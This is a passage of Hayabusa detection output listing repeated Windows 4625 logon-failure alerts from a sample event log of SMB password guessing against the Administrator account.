NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.408 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q9DyH9oxFbRTCQ80 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.458 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5LZo1ljGLOVKhwcC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.556 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GvY6Q7RGKwjehARC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uKLrHVMevqniTck8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ldxglvKFhLJQ3FV3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.685 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lRHIAxIj9wFRIg67 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.725 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mc7nvfyDfWpnhhBx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NB7Y4gPbxose5TsQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.806 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yKFU6DJ8Wdtp2qdC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YlbxRctdClWIOjss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.886 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LToi5ANf3tUteu4h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 52YPmYviVPBqJ39Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:32.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JpzKsyxEKNLd8l1u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r0vd6xEFevamX3jF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.089 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WR9gJBoN1ra4NI2M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rGYNVrDBIpMBu9GT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.186 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 57qCysbeaXx12CbY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xyJl4mHvgtTv53d9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.275 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jGBDZCtot2ogcKIO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.305 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bBhmbqZIi1gX62mM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o7d4bcBJV1jlRgdt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FtfFb6hMHJiFXxai : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: frlsZMDcdb5WaW99 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CFV8UiUTRCCfab9l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.537 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZI8P6ZeVRmQlbGtz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.572 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UmJI7S1nj5hfWZqv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: veh8XInSzXe8E9UD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a1BuBHLILZ4afwJC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.721 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NN2h7CHnGSCQZXan : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.758 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BU3fxfM1qGBJ55HS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.802 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q1OlBmhUABabDQbN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6DgQtHG7cT05kRXd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.890 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EUTe3JqVWgDcDcOS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nGKgUOyX3USQlESB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:33.978 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rcIJ8keQvgax1SuL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.025 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A7jsyA7bWtVf4sLr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mijnM28fwbgWzkvp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.115 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o6dNmJo7vkacqxA6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.155 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FxvD2OWtadDT1Q2c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WK8Esc50KVWIsLU5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.244 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U07NeCzXSdx5Nlgs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tObVl72GJse2HCGp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.335 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nbEnp2E5a3N78OBC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IlRmyinJLWwj5yQg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.438 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 92H7tdXinUOxtOLV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.493 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Za42EUNuitIXaMBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kz7OtswOreS0fdeS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VMxY1IHx5VuvskM7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.667 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d6uxMqLCcqHkuesV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.721 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TmeAWYvFEbqJp1rt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.826 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8tGAdT1CBRYRatVA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.925 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K0h9ulMPWtj8bEKI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eLyLMNv6cOp3sgrq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.098 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KIAOs16X8nFxV45x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.150 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z4EbyEaUxUEyuiY6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SDnW5GABBLbe6eZ7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.258 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GublgQLD3RXQNmkX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.301 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2BQRppHTUHAoWPe4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gnh6HFlIW1zWEBu5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.402 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ulbcy5PWLYUm5Sy0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.449 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L8rkZ7iBMam5o8VJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.493 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n39Zox0PFeNirzyT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.543 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3u3YUCKxEo5pnKJX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.589 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wen3pHM88kSRkHNf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dGDHJ4KMm2zEMV0b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lKZAB1nfXPYSLxsE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tYkOsX0XDpkdvp01 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.779 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r9y7HjOeGPcrdj1c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.823 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RLwh8Lg3nvbm8Q2p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.874 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QoMkBcp8ouIgpX4m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2UnrDiOAOec5DQGQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UxJGLShj5EDKLSDZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.033 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iWhaz8W0VLQdXKWN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 82YDxSIBnCAqdK4c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 795b7XqsxokIGJyM : IP Address: 192.168.198.149 : AuthPackage: 